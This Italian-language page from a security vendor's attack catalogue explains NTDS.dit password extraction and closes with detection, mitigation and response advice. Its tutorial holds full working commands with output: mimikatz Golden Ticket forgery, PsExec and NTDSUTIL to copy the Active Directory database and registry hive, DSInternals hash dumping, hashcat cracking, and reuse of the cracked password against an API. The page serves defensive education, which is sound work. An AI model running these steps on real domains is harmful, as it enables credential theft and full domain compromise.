Magic Quadrant™ per la gestione degli accessi privilegiati 2025: Netwrix riconosciuta per il quarto anno consecutivo. Scarica il report.

Piattaforma
Glossario di cybersecurityCatalogo degli attacchi
Attacco di estrazione password NTDS.dit

Attacco di estrazione password NTDS.dit

Tutti i dati in Active Directory sono memorizzati nel file ntds.dit (“il dit”) su ogni domain controller (in C:\Windows\NTDS\ per impostazione predefinita). Gli aggressori possono utilizzare gli hash delle password direttamente dal dit per avanzare nei loro obiettivi. Crackare le password degli utenti è vantaggioso anche se un avversario ha già ottenuto il dominio del dominio, poiché gli utenti spesso riutilizzano le stesse password su sistemi e applicazioni sia all'interno che all'esterno del dominio.

Per accedere al file ntds.dit su un domain controller, un avversario deve aver già ottenuto l'accesso da amministratore ad Active Directory. In alternativa, un avversario potrebbe compromettere la soluzione di backup aziendale responsabile del backup dei domain controller e copiare ntds.dit da un backup. La maggior parte delle organizzazioni non ruota frequentemente il segreto krbtgt (vedi l'attacco Golden Ticket) quindi anche i backup più vecchi possono essere utili.

Sommario delle minacce

Target: Active Directory

Strumenti: DSInternals, ntdsxtract, PowerSploit, mimikatz

Tattica ATT&CK®: Accesso alle credenziali

Tecnica ATT&CK: T1003.003

Difficoltà

Rilevamento: Medio

Mitigazione: Media

Risposta: Hard

Tutorial sull'attacco: Come funziona l'estrazione della password NTDS.dit

PASSAGGIO 1: Ottenere i privilegi richiesti

Un avversario deve possedere l'accesso al file system di un controller di dominio prima di poter estrarre ntds.dit. Poiché questo requisito rende l'estrazione di ntds.dit un attacco in fase avanzata, un avversario potrebbe utilizzare un hash di password precedentemente compromesso per l'account computer di un controller di dominio per creare un Silver Ticket.
Nell'esempio sottostante, l'avversario utilizza mimikatz per accedere al file system di un controller di dominio tramite un Golden Ticket.

      PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"

User: FakeUser1

Domain: domain.com (DOMAIN)

SID: S-1-5-21-441320023-234525631-506766575

User Id: 0

Groups Id : *513 512 520 518 519

ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt

Service: HOST

Target: DC1.domain.com

Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28

-> Ticket : ** Pass The Ticket **

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session

mimikatz # misc::cmd

Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320

# A new command prompt window opens

C:\Windows\System32>
      

PASSAGGIO 2: Esfiltrare ntds.dit

Con l'accesso al file system di un controller di dominio, l'avversario può esfiltrare ntds.dit così come l'hive del registro HKEY_LOCAL_MACHINE\SYSTEM, che è necessario per ottenere la Boot Key per decifrare ntds.dit.

Si noti che mentre Active Directory è in esecuzione, mantiene un blocco del file system sul file ntds.dit, quindi i tentativi di copiarlo falliranno. Gli avversari hanno diversi modi per aggirare questo vincolo; in particolare, possono:

  • Semplicemente interrompere Active Directory (anche se questo probabilmente porterà ad essere rilevati).
  • Utilizza il Volume Shadow Copy Service (VSS) per creare uno snapshot del volume ed estrarre ntds.dit dallo snapshot.
  • Utilizza uno strumento PowerShell come PowerSploit’s Invoke-NinjaCopy per copiare i file anche se sono in uso.
  • Utilizza uno strumento integrato come DSDBUtil.exe o NTDSUtil.exe per creare file di supporto di installazione di active directory.
      PS> .\PSExec.exe \\dc1.domain.com cmd

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1339]

(c) 2018 Microsoft Corporation. All rights reserved.

DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"

NTDSUTIL: Activate Instance NTDS

Active instance set to "NTDS".

NTDSUTIL: IFM

ifm: Create Full S:\Files

Creating snapshot...

Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\

Initiating DEFRAGMENTATION mode...

Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit

Target Database: S:\Files\Active Directory\ntds.dit

DefragmentationStatus (Complete)

0102030405060708090100

|----|----|----|----|----|----|----|----|----|----|

...................................................

Copying registry files...

Copying S:\Files\registry\SYSTEM

Copying S:\Files\registry\SECURITY

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.

IFM media created successfully in S:\Files

ifm: q

NTDSUTIL: q

DC1 > Copy S:\Files \\wks2\Share



      

PASSAGGIO 3: Estrai gli hash delle password

Una volta che l'aggressore ha esfiltrato ntds.dit e l'hive del registro HKLM\SYSTEM, non necessita più dell'accesso alla rete dell'organizzazione. Un aggressore interessato a decifrare le password vorrà spesso eseguire un attacco brute-force con un computer ottimizzato per questo scopo, ma prima dovrà estrarre gli hash da ntds.dit. Il modulo PowerShell DSInternals fornisce i cmdlet Get-BootKey e Get-ADDBAccount per questo scopo.

      $Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM

Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |

Format-Custom -View HashcatNT |

Out-File C:\Hashdump.txt

PS> Get-Content C:\Hashdump.txt

f8ae01fc52f45dda7baf7a67721665f1

eed224b4784bb040aab50b8856fe9f02

# --- Output Truncated --- #
      

PASSAGGIO 4: Utilizzare gli hash delle password per raggiungere ulteriori obiettivi

L'avversario può ora utilizzare gli hash delle password negli attacchi pass-the-hash all'interno dell'ambiente (forse come mezzo di persistenza). Più probabilmente, cercheranno di decifrare queste password per utilizzarle in attacchi di credential stuffing contro sistemi non uniti al dominio. In questo esempio, l'avversario decifra gli hash per ottenere password in chiaro e le usa per autenticarsi all'API di un'applicazione SaaS.

      PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1

Session..........: hashcat

Status...........: Running

Hash.Name........: NTLM

Hash.Target......: .\Hashdump.txt

Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)

Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)

Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]

Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined

Guess.Queue......: 1/1 (100.00%)

Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1

Recovered........: 1/41 (2.44%) Digests

Progress.........: 189030831226880/218340105584896 (86.58%)

Rejected.........: 0/189030831226880 (0.00%)

Restore.Point....: 793149440/916132832 (86.58%)

Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256

Candidates.#1....: TNAZRwMl -> FYNkI2Jx

Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16

PS> Get-Content .\cracked.txt

852e811a65d732c83214b4ff705d777a:F8qN47F1

PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API

PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked

PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt

PS>$Object = New-Object -TypeName psobject

PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username

PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password

PS>$url = "https://service.url/api/login"

PS>$body = $Object | ConvertTo-Json

PS>$Header = @{ "accept" = "text/json"}

PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"

PS>$Headers = @{ 'Authorization' = "Bearer $Response" }

PS>$url = "https://service.url/api/DoThings"

PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers

PS>$Response

{ "statusCode": 200, "statusMessage": "Things Done!" }
      

Rileva, Mitiga e Rispondi

Rileva

Difficoltà: Media

I tentativi di accesso a ntds.dit possono essere rilevati utilizzando il registro eventi di Windows. Gli ID evento 4663 4656 della sottocategoria Audit File System possono essere utilizzati per eseguire l'audit dell'accesso al file system. Utilizza questi eventi per monitorare sia i tentativi regolari che quelli di Volume Shadow Copy di leggere o modificare ntds.dit.

Mitigare

Difficoltà: Media

Per mitigare il rischio di estrazione delle password da ntds.dit, utilizzare le seguenti migliori pratiche per garantire che gli avversari non ottengano i privilegi necessari per compromettere i controller di dominio in primo luogo:

  • Eseguire regolarmente audit dell'accesso amministrativo ad Active Directory, inclusi i diritti di Group Policy e la configurazione di audit per gli accessi ai controller di dominio.
  • Seguire rigorosamente il principio di clean source principle per i controller di dominio: Tutta l'infrastruttura (ad esempio, ESX e storage connesso) su cui risiedono i controller di dominio o le applicazioni che forniscono servizi ai controller di dominio (come le soluzioni di backup) devono operare allo stesso livello di sicurezza dei controller di dominio stessi.
  • Assicurati la sicurezza fisica delle macchine controller di dominio. Se la sicurezza fisica non può essere garantita, prendi in considerazione l'esecuzione di controller di dominio in sola lettura per limitare l'esposizione delle password.
  • Non consentire agli utenti di possedere privilegi amministrativi attraverso confini di sicurezza. Ad esempio, un avversario che inizialmente compromette una postazione di lavoro non dovrebbe essere in grado di elevare i privilegi per passare da una postazione di lavoro a un server o a un controller di dominio.

Rispondi

Difficoltà: Difficile

Se si sospetta un compromesso di ntds.dit, si deve anche presumere un compromesso totale di Active Directory; in particolare, si presume che anche il segreto krbtgt sia stato compromesso. Prendere le seguenti misure:

  • Attiva il processo di risposta agli incidenti e allerta il team di risposta. Il recupero da un compromesso totale di Active Directory richiede una pianificazione e uno sforzo significativi.

Condividi su

Visualizza attacchi informatici correlati

Abuso dei permessi dell'applicazione Entra ID – Come funziona e strategie di difesa

Modifica di AdminSDHolder – Come funziona e strategie di difesa

Attacco AS-REP Roasting - Come Funziona e Strategie di Difesa

Attacco Hafnium - Come funziona e strategie di difesa

Spiegazione degli attacchi DCSync: minaccia alla sicurezza di Active Directory

Attacco agli Account di Servizio Gestiti di Gruppo

Attacco Golden SAML

Comprendere gli attacchi Golden Ticket

Attacco DCShadow – Come Funziona, Esempi Reali e Strategie di Difesa

ChatGPT Prompt Injection: Comprensione dei rischi, esempi e prevenzione

Attacco Kerberoasting – Come Funziona e Strategie di Difesa

Attacco Pass the Hash

Spiegazione dell'attacco Pass-the-Ticket: Rischi, Esempi e Strategie di Difesa

Attacco di Password Spraying

Attacco di estrazione di password in chiaro

Spiegazione della vulnerabilità Zerologon: Rischi, exploit e mitigazione

Attacchi ransomware di Active Directory

Sbloccare Active Directory con l'attacco Skeleton Key

Movimento laterale: cos'è, come funziona e prevenzioni

Attacchi Man-in-the-Middle (MITM): cosa sono e come prevenirli

Perché PowerShell è così popolare tra gli aggressori?

4 attacchi agli account di servizio e come proteggersi

Come prevenire gli attacchi malware che impattano sulla tua azienda

Cos'è il Credential Stuffing?

Compromettere SQL Server con PowerUpSQL

Cosa sono gli attacchi di Mousejacking e come difendersi

Rubare credenziali con un Security Support Provider (SSP)

Attacchi con Rainbow Table: Come Funzionano e Come Difendersi

Ricognizione LDAP

Bypassare MFA con l'attacco Pass-the-Cookie

Attacco Silver Ticket